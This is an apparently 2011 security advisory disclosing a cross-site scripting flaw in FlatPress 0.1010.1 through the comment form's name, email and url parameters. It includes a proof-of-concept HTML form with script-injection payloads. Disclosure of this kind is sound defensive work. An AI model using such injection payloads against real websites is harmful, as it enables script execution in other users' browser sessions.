FlatPress 0.1010.1 Cross Site Scripting

Type packetstorm
Reporter High-Tech Bridge SA
Modified 2011-07-05T00:00:00


                                            `Vulnerability ID: HTB23022  
Reference: http://www.htbridge.ch/advisory/xss_in_flatpress.html  
Product: FlatPress  
Vendor: Edoardo Vacchi ( http://flatpress.org )   
Vulnerable Version: 0.1010.1 and probably prior  
Tested on: 0.1010.1  
Vendor Notification: 07 June 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered vulnerability in FlatPress, which can be exploited to perform cross-site scripting attacks.  
Input passed via the "name", "email", "url" POST parameters to index.php is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.  
The following PoC code is available:  
<form action="http://[host]/index.php?x=entry:entry110603-123922;comments:1" method="post">  
<input type="hidden" name="name" value='"><script>alert(1);</script>'>  
<input type="hidden" name="email" value='"><script>alert(2);</script>'>  
<input type="hidden" name="url" value='"><script>alert(3);</script>'>  
<input name="send" value="EXPLOIT" type="submit">  
Solution: Upgrade to the most recent version